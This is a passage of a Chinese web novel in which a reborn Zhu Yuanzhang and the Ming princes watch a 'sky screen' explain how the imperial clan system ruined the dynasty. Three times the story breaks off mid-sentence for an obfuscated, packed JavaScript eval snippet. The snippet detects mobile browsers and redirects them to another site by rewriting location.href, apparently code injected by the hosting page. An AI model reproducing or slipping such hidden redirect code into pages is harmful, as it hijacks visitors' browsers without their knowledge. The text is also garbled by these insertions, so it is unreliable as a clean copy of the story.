面前,钱谦贞的脸色越来越难看,手指攥着拐杖咯咯作响,他岂能不知魏忠贤的意思? 买的是宅子,更是魏忠贤手里攥着的江南士绅联合抗税、结党营私的把柄,买了是破财消灾,不买便是祸事临门。 可魏忠贤这厮都已经被天幕定了结局,还有什么可怕的? 再说,糊弄魏忠贤这个老贼不容易,糊弄外边那群光脚的愚昧农夫,他还不在行吗? 只要他振臂一呼,就说皇帝年少无能,听信谗言,不杀阉党,压榨百姓,自有那些平民冲在第一线。 那些软弱的地方官还能反过来整治他不成? 魏忠贤啊魏忠贤,这次你可是找错人了。 钱谦贞冷笑一声,喝令道: “来人,把这阉逆打一顿然后扔出去!” 回应他的,却是门外下仆的惊呼: “老爷!天幕!天幕又亮起来了!” 10. 第 10 章 天幕闪烁了一会儿,重新凝聚成文字: 【我们上回说到,朱元璋建立的明朝在崇祯十七年正式宣告灭亡。】 刚到王府,正和其他藩王们亲亲热热拉家常的朱元璋:…… 一边笑容满满,一边琢磨好大侄到底来干什么的王爷们:…… 他们不约而同地停下了寒暄,专心致志看向天幕。 【那么,究竟是什么导致了明朝的灭亡呢?】 朱元璋的眼睛一下子锐利起来。 【这个问题的形成太过复杂,我们已经知晓,在这个王朝的末年,它的内部农民军起义四起,外部有后金这个强盛的力量虎视眈眈。】 【明朝灭国的原因,不能简单地一概而论,但今天,我想讲一讲明朝的宗室。】 福王一愣,脱口而出:“和宗室有什么关系?太.祖皇帝有令,咱们宗室什么都干不了呀!” 【我们先从一组简单的数据来入手。】 【明朝开国初期,朱元璋共封了二十五位藩王,而到了明朝末期,按照后世专家的推算,宗室数量大约有三十余万人![1]】 朱元璋吃了一惊。 不对呀,他就封了二十几人,就算二十几人各自再生二十几人,再去掉一部分夭折的,怎的就到了30多万这个数字了啊? 只见天幕继续往下蹦出一行字: 【我就举个例子,山西的庆成王朱钟镒一生有四十四个儿子、四十七个女儿,总共九十一个孩子。】 看到这里,福王露出了幸灾乐祸的笑容:“陛下,这位亲族,臣也是听说过的,据说他向弘治皇帝请赐第四十四子的姓名,震惊朝野。” 朱元璋倒吸一口凉气,这人一天到晚除了那档子事就干不了别的了吧? 【更奇葩的是,他那袭封了庆成王的长子朱奇浈,光是长大成人的儿子就有足足一百个!在他的家宴上,这群儿子到了“至不能相识”的地步。】 【这也是肯定的,毕竟就算是在一百个在同一个教室、朝夕相处的同学,都不一定能全部认识,更何况各有院落的王府呢?】 “当然,臣没有他那么有精力。”福王洋洋自得地补充道,“臣现下只有一个长子,名叫朱由菘,今年刚刚及冠。” 朱元璋瞥了一眼福王,嫌弃之情溢于言表。 他这身材,能哆嗦出来,也是不容易。 可能二十年前还不是这样的吧。 【要知道,当年朱元璋大手一挥,制定了藩王卫国的方针,对于分封不会降等。】 【但是,不允许宗室担任官职,也不能从事农、工、商等职责。】 【不降等的意思是,亲王的长子还是亲王,其余的儿子封郡王;郡王的长子还是郡王,其余孩子封镇国将军。但新任皇帝还有兄弟要封亲王,这就导致了宗室越来越多,供养宗室所花费的粮饷也越来越多。】 【到明朝中后期,官员们发现,就算将一郡的粮饷全部供给当地宗室,都不足数。】 朱元璋的心一抽。 如果连基础的储备粮食都不足数,遇到大大小小的灾荒,最后苦的还是百姓。 天幕继续一行一行描绘着: 【在山西,全省每年的留存粮只有152万,但需要支付给当地宗室的俸禄却高达212万石。[2]】 【在河南,全省留存粮食84万石,宗室俸禄需求192万石。[3]】 【到了崇祯后期,国家财政彻底破产,甚至出现为了发宗室工资,拖欠边防军饷的情况。这种行为直接导致了军队哗变频率上升,战斗力下降。】 朱元璋的眉心越拧越深。 军队哗变可不是小事,尤其是为了养这群货真价实的酒囊饭袋。 前些日子,他大略翻看了本朝的大事记。 别说这群宗亲了,当皇帝的里面也有不少不肖子孙,看的他头疼心痛。 【而朱元璋之后的朱棣,则本身就是藩王起兵,对于藩王手中握有兵权十分忌惮,因此采取了温和的削藩手段,禁止二王相见,禁止藩王出城、与地方官往来,完全圈禁了藩王。】 【既不能出去工作,也不能出城,形同软禁,这是第一个前提。】 【而第二个前提则是,明朝宗室的婚丧嫁娶都由国库出钱。此外,每多生一个孩子,就能多拿一笔俸禄。】 【有这两个大前提在,明朝宗室惊人的繁衍速度,也就不足为奇了。】 福王气愤道:“这天幕说的话才真是奇了!咱们都讲究多子多福,多要几个孩子怎么了?王府又不是养不起。” 朱元璋没应声,继续盯着天幕流转。 他有预感,接下来的话恐怕不是他爱听的。 【在这样的情况下,明朝的王爷们除了没有出行自由,一个个过的相当快活。】 【每封一个宗室,就要划一片土地,而这些土地往往是当地最为肥沃的农田。例如,就河南一个省,竟然有一半的土地都划归给了各个王府。】 【例如,万历皇帝最宠爱的儿子,福王朱常洵。他的封地虽说是在河南,但因为河南的好地不够,最后强征了河南、山东、湖广三个省的地,才勉强凑齐了。】 福王上扬的嘴角一下子就垮了下来,表现得相当不满:“这天幕仿佛有指责之意?太.祖皇帝一生戎马打天下,给子孙后代点好处怎么了?自古以来的道理。” 再说,他没当成太子,本来就十分委屈,父亲心疼他、补偿他,本来就是理所应当。 周王插话道:“话不是这么说的,咱们什么也不做,就受到民间供养,不应当如此作为。” 福王的声音一下子就大了起来:“这天下是朱家的天下!本王的田庄是先帝所赐,不敢辞也!” 福王和周王的年岁差不多,但是按辈分来讲,周王算得上是福王的侄子那辈,因此敢随便呛声。 朱元璋淡然发话:“听下去。” 福王忿忿住了口。 【然而,对于宗室的供养,却成了明朝百姓们沉重的负担。】 【明末大思想家顾炎武在《日知录》中就提到“天下小民能耕之田,不及天下之半”。但是这不到一半、良莠不齐的田,却要供养天下宗室、地主、官僚,赋税成了压在底层百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054773|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓头上的一座大山。】 苏州府,昆山县。 一个叫顾绛的少年诸生也在观看着天幕,看到“顾炎武”这个名字,他的心头一热。 有种莫名的贴心感,仿佛就是他取的一样。 接着,他就自嘲地笑了笑,他连举人都没当上,怎么会成为天幕上说的“大思想家”呢? 还是继续好好读书,快快长大,日后报效祖国吧。 高天之上,天幕继续变化: 【一方面,皇室宗亲们倚仗特权,强行低价购买甚至直接霸占农田。】 【另一方面,明朝宗室所拥有的土地,国家是免征赋税的。所以,地方百姓为了逃避官府重税,将田产或主动、或被动地投献给王府,名义上成为王府的佃户。】 【这就导致了国家的税源越来越少,而百姓的负担越来越重。】 朱元璋转头看向福王:“有这回事儿吗?” 福王用织金细绢布擦了擦额头上的汗珠,他有点摸不清这个问题。 按理来说,新君自己之前就是信王,虽然年纪尚小,但也不至于对此一无所知。怎么会这样明知故问? 再说了,这点小事,就算有又能怎么样? 这本来就是老祖宗传下来的规矩,历朝历代都是如此。 当年父亲万历皇帝想封给他4万顷的田,还被那群朝臣一顿狂喷,最后不得不减到了2万顷。 在周围人的劝说下,他又自请减去1000顷,实际得了一万九千顷。 难道,他这侄子想借此机会敲打自己? 想到这里,福王有些不满了,他不咸不淡地顶了回去:“这些小事,都是王府的长史去打理的,臣从不过问,也不清楚。” 朱元璋冷笑一声,这话信他才有鬼了。现在暂且不发作,先看天幕怎么说。 【但是,明朝宗室内部却也有两极分化。】 【由于人口爆炸,国家财政发不出俸禄,但又因为祖训无法从事其他职业,那些下层宗室里,甚至出现了沿街乞讨、饿死街头的惨状!】 【此外,有些宗室还会故意犯罪,只为了能被抓进监狱,混口饭吃。】 看到这里,朱元璋忽然有些后悔。 当初定下扶养宗室的策略,是他认真研究过后得出的结论。 在他朴素的价值观看来,作为一家人,劲往一处使,才能把日子过得红红火火。 而元朝就是没有同姓宗室执掌兵权,这才导致了孤立无援。 所以他当时才说:“天下之大,必建藩屏,上卫国家,下安生民。[4]” 后来,他一路北上,攻占大都,身体里咆哮着战斗的热血。 他以为他的子孙后代也会如此。 但现在看看天幕里说的话,再看看他眼前大腹便便的福王,这是否是他错的太过彻底? 天幕继续徐徐展开: 【由于平时习惯了作威作福、不思进取,绝大多数明朝宗室鱼肉百姓,导致民怨沸腾。】 【不过,这样的日子终将迎来结束。】 【因为,李□□和张□□来了。】 11. 第 11 章 一群人仰着脖子看天幕,看见四个口口,当即愣在原地。 联系前文语境,李口口与张口口,这说的应该是起义军领袖的名字吧? 怎么一到关键时刻就口口呢? 有种恨不能冲进天幕看个究竟的痛苦感。 不过,天幕可不管看的人怎么想: 【当明末农民起义爆发的时候,愤怒的农民军将矛头直指朱明皇族。】 【李□□和张□□每到一地,必定会先杀藩王。】 【在流传最广的说法中,崇祯十四年的洛阳之战结束后,李□□的起义军进城,将福王朱常洵片成片,称到三百六十余斤,和鹿肉一起放在一口大锅里煮,与士兵们共同分食,还玩了个谐音梗,叫做“福禄宴”。】 整个福王府寂静无声。 福王竭力瞪大了他埋在眼部肌肉里的眼睛,尽管他非常不想相信这天幕里说的福王就是自己,但崇祯十四年、洛阳、三百六十斤、福王朱常洵这几个词语组合起来,这里的福王板上钉钉就是他自己! 他的嘴唇开始哆嗦,抬手指着天幕,气得直咳嗽: “荒唐!太荒唐了!这天幕胡言乱语到了极点!” 【当然,这只是野史上的说法,并不能当真。】 福王的手放下了。 【根据《明史》的记载,福王在城破后想要逃走,但因为太胖了没跑成。后来李□□的军队处死了福王,将他的血和鹿肉做成的肉酱混合在一起品尝,并称呼这种东西为“福禄酒”。】 福王两眼一翻白,晕了过去。 朱元璋不紧不慢道:“去请良医所的人,务必让福王清醒过来。” 【之后,福王的整个王府都被李□□抄了,钱财全部归为己用,这就一下子提升了农民起义军的实力。】 【这样的情况数不胜数,例如,在武昌的楚王朱华奎,在张□□攻破城池后,看见楚王府富可敌国,笑道:“有如此金钱不能设守,朱胡子真庸儿![1]”随后将楚王扔进长江淹死。】 【位于西安的秦王朱存枢,号称“天下第一藩”,富甲天下,投降李□□后被封为“权将军”,但在□□入关后也没能保住性命,在乱军中被杀死。】 又多了一个新的口口?这个“入关”是何意?难道……? 朱元璋有些不敢确信自己的猜测,再次用目光描摹了一遍天幕上的文字。 看着一个又一个的宗室结局,竟有一种悲怆油然而生。 他的后代中,竟没有一人能够有血性募兵勤王吗?! 或许是回应他的心中想法,天幕再次变化: 【到了崇祯朝后期,藩王坐拥一方,整个天下局势相当混乱,但绝大多数宗室都爱财如命。】 【李□□攻打洛阳的时候,地方官与守将请求福王出资劳军、赈济饥民,但他只捐了三百石陈米;城破前夜,福王被迫拿出数千两白银募兵,但是为时已晚。】 【城破后,福王被杀,《流寇志》记载他家中“金钱百万,粮支十年”。】 此时福王已经在良医正的帮助下悠悠转醒,醒过来一看到天幕上的文字,本就不好看的面色更是变得惨白。 他的眼睛不由自主地瞟向朱元璋,但又很快收回。嘴唇蠕动着似乎想说什么,却一句话都说不出来。 朱元璋暂时分不出心思去理他,直直地盯着天幕: 【楚王朱华奎,在左良玉等人哀求他出资募兵后,他只拿出一把洪武朝时候赐的裹金椅子,说:“只有这东西可以用来支援你们,其他什么都没有!”结果张□□把他扔进长江以后,从王府搜出了金银百万。】 【成都的蜀王朱至澍,在面对募兵请求时,说“只有承运殿一所,可以拆掉变卖,换来粮饷”,结果在成都被攻破后,投井而死。】 朱元璋按住人中,感觉自己也需要良医正来治一治了。 “怎么会这样呢?!”他感觉自己真的要晕过去了,“如果城破,作为宗亲会有好下场么?” 这再简单不过的道理,怎会有人不明白? 【那么,究竟是什么导致了藩王们普遍不愿意募兵呢?】 【这就不得不提唐王朱聿键了。】 “唰”的一下,所有人都看向了在场的现任唐王,朱硕爌。 唐王的喉结上下滚动了一下,看看朱元璋,又看看其他藩王,没吭声。 但有人不会让他沉默,福王一见有人能转移注意力,立即开口:“我记得朱聿键这个名字,仿佛是唐王的世孙吧?” 唐王不得不硬着头皮回答:“是的,不过这孩子最近身体不太好,脑子也不大灵光,如果他干出了什么触怒上苍的事情,臣定会好好管教。” 【说到这位唐王朱聿键,生平经历可以说是相当跌宕起伏。】 【首先,他从万历四十三年、也就是他十四岁的时候开始,就被他的祖父、倒数第二代唐王朱硕爌给囚禁了!】 此话一出,在场的所有宗亲再一次看向了现任唐王,目光灼灼,仿佛要把他盯出一个窟窿来。 其他官吏、护卫和太监们则是把头悄悄地低了下去,但耳朵却竖得高高的。 皇族八卦啊!而且主人公就在现场的八卦!此时不听,更待何时? 【老唐王朱硕爌疼爱宠妾所生的幼子,厌恶已经被立为世子的长子。】 【于是,他将长子以及孙子朱聿键一起囚禁在王府的承奉司,断绝一切供给,想要饿死他们,以达到改立世子的目的。】 【这一囚禁,就是足足十六年。】 朱元璋开口:“唐王,真的有这件事情吗?” 老唐王的脸涨得通红,愤怒地憋出话来:“绝无此事!” 朱元璋道:“有无此事,一查便知。王承恩,派人去南阳唐王府看一看。” 老唐王一下子就变得慌乱起来:“天幕上全部都是胡言乱语,世子世孙向来身体不好,恐怕太过打扰啊!” 朱元璋听他语气,就知道事情八.九不离十:“无妨,正好前去探病,算是尽我作为亲人的一点心意。” 就在这个时候,一个穿着素色短服的男人从唐王的仪仗中连滚带爬地冲了出来,对着朱元璋就开始磕头。 朱元璋好奇:“你是什么人?” 素服男人的话语中带着一丝决绝,字字泣血:“陛下,臣是唐王府中一个打杂的仆役,臣对天发誓,这天幕上句句属实,世子世孙被囚于府中,不给饭食,生不如死啊!臣还偷偷给他们送过糙米饭哪!” 似乎就是为了印证他的话,天幕徐徐闪烁: 【幸亏有王府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066549|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小吏张书堂的暗中接济,父子二人才终于存活了下来。】 【不过,在崇祯二年,老唐王的世子被幼子毒杀,当时的分守南阳的陈奇瑜警告老唐王,如果擅改世袭人选,很可能触怒朝廷,老唐王这才收手,最终朱聿键在崇祯五年顺利就藩。】 老唐王霍然起身,一脚踹翻了跪在眼前的小吏:“好啊!就是你这吃里扒外的狗东西!本王还没死呢!” 这一下很重,小吏被踢的在地上滚了一圈才停下来,吃痛地蜷缩成了一团。 “陈奇瑜?陈奇瑜又是何人?是不是那个待在关内的陕西副使?” 老唐王一边叫喊,一边还要继续冲上去打小吏,王承恩从旁边拦住了他。 朱元璋开口道:“唐王是已经认罪?” 老唐王扯着破了音的嗓子大骂:“喜欢哪个儿子不过是家事!再说了,子的生命本就从父而来,可以给予也可以剥夺!更何况他俩不是活得好好的?!本王何罪之有?你这小儿,昏庸无道,竟偏信小吏与天幕,想以没发生的事情来审判我?!” 朱元璋语气平淡:“唐王言重了,朕没想用你的家事来处罚你,不过你欺君罔上、诋毁帝王,犯大不敬之罪,按律当?” 王承恩:“按律当绞。” 老唐王一口气没提上来,脑袋嗡嗡响。 朱元璋道:“回到位置上,等天幕结束了再看情况处置你。” 这意思就是暂时放他一马的意思了。 老唐王立刻连滚带爬回去了。 【但是,在顺利成为唐王后,朱聿键的日子也没好过多久。】 【崇祯九年,皇太极率军攻陷昌平,直逼京师。看不惯朝廷软弱做法的朱聿键,上疏请求率兵北上勤王。】 在朱元璋肩膀上坐着的朱由检先急了:“难道我大明无人?南阳又不是前线,为何要他一个藩王出兵?” 【不过,崇祯并不同意他的做法,但朱聿键也没有放弃,而是选择了擅自出兵。】 【他以“报国心切”为由,率领着招募来的兵士和王府的护卫,共计数千人,挥师北上。】 本来还憋着一口气嘀咕的老唐王都瞬间噤声了。 任何一个明眼人都看得出来,这一举动有多么敏感。 这可是全家掉脑袋的罪啊。 【不过,朱聿键没有遇到皇太极的军队,而是与农民军产生了遭遇战,双方互有胜负。】 【消息传到京城,崇祯立即下旨斥责起擅离职守、拥兵自重,勒令其返回南阳。朱聿键只好悻悻而归。】 【崇祯九年十一月,朱聿键回到南阳。同月,被废为庶人,关进凤阳的皇室监狱。】 朱元璋小声道:“像是你会做出来的事情。” 朱由检相当不服气:“这是应当的,听这天幕的意思,国家本就农民军四起,外头又有皇太极,如果再出一个造反的藩王,那还了得?!” 朱元璋不置可否。 这就是他与朱由检的不同了。 对于他而言,这段没有他的历史,他虽然为了子孙痛心疾首,但说到底也只是旁观者。 只要仍然是大明的江山,谁来做这个皇帝都不要紧。 但对朱由检而言,这是他兄长在弥留之际亲手交给他的皇位,如何能够轻易舍弃? 12. 第 12 章 【这位唐王朱聿键在凤阳皇室监狱中一直待到了崇祯十七年,明朝灭国后,他成为了南明的第二位君主,年号隆武,所以也称隆武帝。】 南明?! 藩王们齐齐伸长了脖子,反复确认自己是不是看错了。 难道是像南宋一样,偏安一方的朝廷么?那样的话,对比灭国的惨痛,似乎也没那么难以接受啊。 到那时候,他们仍然是南明的藩王,何乐而不为? 不过,天幕很快就无情地打破了他们的幻想: 【在南明的历史上,隆武帝算是干得很不错的皇帝了。但是,他也没支撑多久,于顺治三年被俘后,绝食而死。】 顺治?这一看就是年号。 理清其中关窍的人已经心中一凉。 既然使用顺治年号,而非南明的隆武年号,那就说明南明最终没能在历史上存活下去,基本是死的透透的。 朱元璋自然也想到了这一层,看来明朝最终还是没能支撑下去,彻底消亡了。 要说不烦闷,肯定是假的。但心中更多的是气愤,以及强烈的求知欲。 他看向天幕,想知道更多东西。 【纵观中国历史,明朝的上层宗室几乎算是过得最好的了,这一切的开端还是要从朱元璋讲起。】 【众所周知,朱元璋农民出身,对自己的骨肉那是相当疼爱,我这里举一个例子。】 朱元璋心中一凛,一时之间拿不准天幕要说谁。 难道是说太子朱标? 可那孩子本来就样样都好,又是从小培养的下一任继承人。他疼爱太子,天经地义,不值得天幕拿出来说。 谁料,天幕徐徐变化,展现出的竟是另一个名字。 【朱元璋的第十个儿子,鲁王朱檀,行事相当荒唐,他痴迷炼丹,听信方士的话,阉割民间不满十岁的小男孩做药引;杖杀属官,打死侍从,违法乱纪的事情数不胜数,朱元璋为此相当恼火。】 【但他做了什么呢?他剃光儿子鲁王的头发,与此同时,赐鲁王妃自尽。】 【是的,你没有看错,儿子和儿媳一起干坏事,甚至儿子干的坏事更多更狠,但只赐死儿媳,理由是儿子在当藩王之前好好的,但当了藩王就变坏了,肯定是因为儿媳把人带坏了。】 【荒谬,真是荒谬。他作为亲生父亲,都没把儿子教好,竟然去怪儿子的老婆?】 【更何况,他没教好儿子也不是个例,例如他的另一个儿子,秦王朱樉,也是一个残害百姓、作恶多端的藩王,以致于宫人实在受不了,下毒把他弄死了。】 【朱元璋自己也深知这一点,当他听闻秦王的死讯后,当即表示真是活该!不许追查到底是谁杀的秦王,此事就此揭过。】 【同样的,在这位鲁王因为重金属中毒而死后,朱元璋给他的谥号是“荒”,也就是定调朱檀为鲁荒王。】 【但是,死后上恶谥有什么用呢?人在世的时候把他的恶行轻飘飘揭过,死后再怎么样,当事人也不知道了,简直是脱裤子放屁。】 【要是我是藩王,我还会想:哦,原来老爹的底线这么低啊,你看鲁王干了这么荒唐的事情,也没啥实质性的惩罚,那我只要比他稍微不荒唐那么一点,不就行了么?】 【归根结底,还是纵容藩王在封地为非作歹,开了一个坏头。】 朱元璋的脸涨得通红,只觉得火辣辣的疼。 原来,后世之人竟是如此看待他的行为么? 王承恩小心翼翼地问:“陛下,天幕对太.祖皇帝出言不逊,是否要下令不许民间观看,让锦衣卫等去监督?” 朱元璋将紧握的拳头松开了。 “不需要!”他憋着一口气回答。 虽然他非常不想承认,但天幕上说的确实很有道理,现在想来,这件事是他做的太错,应当深刻反省。 忠言逆耳利于行,这个道理他还是知晓的。 君父君父,不就是民众心中最高的榜样吗? 若是捂住民众的耳朵,不让他们知晓后世发生了什么,不让他们明白知错就改的道理,那不就是愚弄百姓吗? 当年他推行社学,每五十户人家设置一个学堂,利用祠堂、寺庙等地办学,力求做到百姓人人识字,可不是为了今日的掩耳盗铃。 他朱元璋才不屑做这样的事情。 他斥道:“十七年后就要亡国了,还把力气耗费在这些事情上做甚?如果大明真的气数已尽,就不要折腾老百姓了,让他们自谋出路,若有人真能取大明而代之,也是天意!但,现在的大明,依然有上天眷顾,还没有到那一步。” 他当年起兵,做出过错误的决策,打过狼狈的败仗,从无到有建立政权,踏在累累白骨之上。做错事情没什么可怕的,重要的是现在该如何去挽救。 天幕刚刚一口气吐出许多文字,停顿了一会儿,才继续往下变化: 【当然,这都是我们后世的看法了,从朱元璋的视角来看,剃光儿子的头发已经是相当的羞辱,并不是轻飘飘揭过。】 【可见历史人物都具有自己的局限性,不能因为某件事情就否定一个丰富而复杂的人。】 【让我们说回到明朝末年的话题,刚刚通过唐王朱聿键的故事,讲述了藩王不肯出资助兵的一个主要原因,也就是害怕朝廷认定他们谋反。】 【第二点,就是藩王们始终有一种天真的自我认知。】 【他们认为,农民军不过是反贼,不可能会真的推翻明朝,最终还是会接受招安,想要去做官的。】 【在这种思想的支配下,他们想当然的觉得,农民军的对立面是贪官污吏,而非他们这些天潢贵胄。】 看到这里,朱元璋扼腕叹息:他这个开国皇帝当年起兵造元朝的反的时候,可没少杀元朝的宗室。 后来在蓝玉案里更是手起刀落,没有半分仁慈之心。 但显然,长时间的养尊处优让他的子孙后代们抛弃了危机意识,也丝毫没有对底层百姓的感同身受。 他们捂住耳朵,于是听不见百姓的悲泣和哀嚎;关起门来,于是无视小民的痛苦与无助。 【当然,早期的李□□与张□□可能还对杀藩王这件事情有一定忌惮,但是后来,他们发现,天下苦宗室久矣。】 【那时候流传的民谣,“宗室天下耗,民穷盗亦多[1]”就很好地说明了宗室给百姓造成了多大的负担。】 【而且,杀藩王不仅能够提升他们的威望,更重要的是,可以获得巨额财富!】 【就这样,在一次又一次的攻伐抢掠中,农民军的队伍得到了补给和壮大。】 · 陕西,白水。 起义军领袖王二正在呼噜呼噜吃着豌豆面,一边分出一个耳朵,听他的军师种光道念天幕上的文字。 听着听着,他的心思开始浮动:“这么说,咱们也去杀几个狗藩王呗?多抢点钱,还能继续招兵。” 军师种光道大惊:“咱们就这几百人,王府的杂役都能把我们打的屁滚尿流啊。” 王二啐了一声:“没人咱可以招啊,你看天幕上说的,天下人都讨厌宗室,咱们不得一呼百应吗? “还有,天幕里说的天下第一藩,秦王,不就在西安府?还有平凉府的韩王,离咱们也近。抢一把就跑,不就行了?” 王二把豌豆面往下大力一放,四脚不平的桌子摇摇晃晃的,伴随着他兴奋的声音:“那些狗王爷肯定吓得要死!敢不敢出门都另说,咱们一定能发迹的。” 种光道想的却不是这么回事。 天幕里一个劲说的是李某某与张某某,说他们接连杀了那么多藩王。 但却从始至终没提过有没有姓王的领袖。 这说明了什么? 说明跟着王二没前途啊! 放眼全境,他们在起兵造大明的反,攻下宜君县城,放跑一大批囚犯,名号当当响,正所谓枪打出头鸟。 天幕突然出现,新君刚刚即位,一定想趁着第一批起义军还弱小,先下手为强。 这也说明了为什么天幕上根本没出现王口口起义军,因为他早早地就被干掉了。 分析了这么一通,种光道想明白了。 他就知道,王二这名字忒没王霸之气! 【……第三,宗室们往往生活在信息茧房里。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076642|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【在他们眼中,农民军不过是一群吃不饱饭的土匪,成不了大气候。】 【在崇祯前中期,农民军起义四处都有,但大部分都被朝廷剿灭了。】 种光道:果然啊果然。 另一边,还在唐王府的朱元璋略微舒了一口气:“看来,目前朝廷对于军队的掌控力还是在的。” 【再加上地方官府的战报往往报喜不报忧,直到城破之前,许多藩王都认为不过是流寇骚扰,根本没有提起重视。】 【我们可以发现,在封建时期,普适意义的贵族(包括宗室、世家等)有一种与生俱来的傲慢。】 【他们始终不把最低贱的百姓放在眼里,不认为他们的愤怒是有价值的。】 天幕演进到这里,福王张了张嘴,似乎想要说点什么。 这天幕正在猛烈打击他固有的思想,打击他从小就认定的真理。 “这、这是不对的啊!”福王的声音都带上了颤抖,“祖宗之法呢?这是我们朱家的江山啊?乱臣贼子,本是天理难容啊!” 坐在他旁边的周王呵呵一笑,阴阳怪气:“祖宗之法和天理?都比不上人家的拳头硬呗。” 他早就看这个大胖子不顺眼了! 虽然他自己也是皇室的成员,但能怼这大胖子两句也不错。 【最后,最脱不开的,自然就是病态的守财奴心理了。】 【在藩王们眼中,这个国家都是朱家的,自己是朱家人,封地是由祖上传下来的,银子是皇帝给的,和老百姓是半毛钱关系都没有的。】 【缺乏动力,也就自然会存在侥幸心理。】 【万一呢?万一我没出钱,流寇就跑了呢?】 【官员们向藩王哭穷,藩王们也就向地方官们哭穷,大家互相试探底线,试探到最后,哈哈,城破啦!】 周王的喉咙里发出“噗”的一声,然后飞快地坐正,用力抿起了嘴。 他的目光转来转去,他看看上首的天子,又看看坐了一圈的其他藩王,努力把嘴角的弧线撇下去了。 朱元璋:…… 当他是聋了还是瞎了? 【综上所述,绝大多数藩王富甲一方,创收手段数不胜数,如倒卖盐引、垄断矿产漕运等行业,但却从始至终拒绝与国家共存亡。】 【当然,这其中也有例外,那就是周王朱恭枵。】 本来坐在椅子上的周王一下子就跳了起来。 他就知道!周王骄傲地挺起了胸膛。 所有人的目光向他看齐! 【虽然,他和大部分藩王一样,过着骄奢淫逸的生活。】 周王低眉顺眼地瘪了下去,像一摊泥一样缩回了位置上。 【但在李□□攻城的时候,他将周王府的财宝尽数拿出,鼓励城内百姓人人守城,导致李□□两次攻打开封失败。】 【直到第三次,李□□引黄河灌城,具体伤亡数字不可考,但估算是死了三十七万人到百万人不等,这才攻下了开封。】 周王道:“开封城内大约只有五十五万人,百万这个数字,恐怕算不上。” 【最后,开封府只剩下三万人,元气大伤,直到后世才慢慢恢复。】 也就是说,开封府死了五十二万人。 大家都不说话了,就算是福王,也没法说出五十二条人命抵不过他一条命的话来。 这个还未发生的数字压在在场所有人的心口,沉重而空洞。 “我听过一首词。”朱元璋开口。 所有人都看向了他。 “那是描述元朝末年的景象的。”他沉浸在自己的回忆当中。 在他命冯胜攻打潼关的前夜,月朗星稀,天气却异常闷热,宫灯被偶尔燎过的风吹得忽明忽暗。 在那天,朱元璋听说了这首以潼关为名的词。 他看到这首词的时候,就觉得它很好。 他不禁放开嗓音读了起来,声音在空旷的宫道中格外寂寥。 “伤心秦汉经行处,宫阙万间都做了土。” “兴,百姓苦。亡,百姓苦。”[2] 两个时空的朱元璋,仿佛在这一刻重叠了。 13. 第 13 章 【总之,周王等极个别藩王,即便再努力,也没能阻止大明王朝倾颓的命运。】 【明朝的宗室制度经常被后世诟病,虽然这个制度在开创之初,是为了应对还没有消亡的元朝势力。】 【但是最终,宗室制度还是成为了拖垮明朝的重要原因之一。】 【当然,明朝灭亡的原因不止这一个,不过短视频的篇幅有限,我们下一期再见!下一期我们讲讲江南士族,以及扬州十日。关注写诗就行,带你获取更多明朝小故事~】 天幕又一次结束了。 福王臃肿的身躯整个埋在椅子里,战战兢兢地低下头。 但朱元璋第一时间想到的不是去看福王,而是思考天幕的结束语。 江南士族他大概知道怎么回事,但扬州十日是什么? 这个命名方式,目前看不出什么来,他暂时没摸着头脑。 之后让户部整理出一份江南世家的名单,宣他们入京觐见吧,这样若是天幕突然讲什么东西,也好及时处置。朱元璋姑且这么决定了。 他将目光从重新归于寂静的天幕收回,对准了福王。 在刚刚的一片寂静中,福王的头已经越埋越低,他真心希望年轻的侄子把他忘记,但显然这是不可能的。 “福王。”冷峻的声音从上首传来。 “陛下,天幕所说的,不都是真的啊!陛下不可因为没有发生的事情惩罚我啊!”福王颤颤巍巍地起身,痛哭流涕地喊冤,“再说了,依照这天幕的意思,臣也是受害者啊!” 福王的眼泪说流就流,一把鼻涕,一把眼泪,喉咙里不停地发出咕哝的咳声,听得朱元璋浑身刺挠。 “咱又不是要治你没法守住洛阳城的罪。”朱元璋及时制止了他继续号啕大哭。 朱元璋端起茶,润了润嗓子。福王府的这茶,香气清正幽远,入口微苦,但相当顺滑,滑入喉咙后又泛起回甘。 朱元璋垂下眼睛,这茶叶饱满挺直,一看就是取茶叶上最嫩的芽头炒香,是不可多得的好茶。 他不太在乎茶的好坏,所以也喝不出来哪里好、哪里不好。不过福王府里用的茶杯,口沿微微外撇,从腹壁处内收,杯口刚好压在虎口上,是标准的“压手杯”。 质感相当细腻,釉面光润,触手生温,确实和宫里的不相上下。 “福王皇叔的日子过的比我好多了。”朱由检在耳边嘀咕。 朱元璋站起身,俯视着擦拭颈后汗珠的福王:“福王朱常洵,今天朕要审的,是你在封地为非作歹的事。” 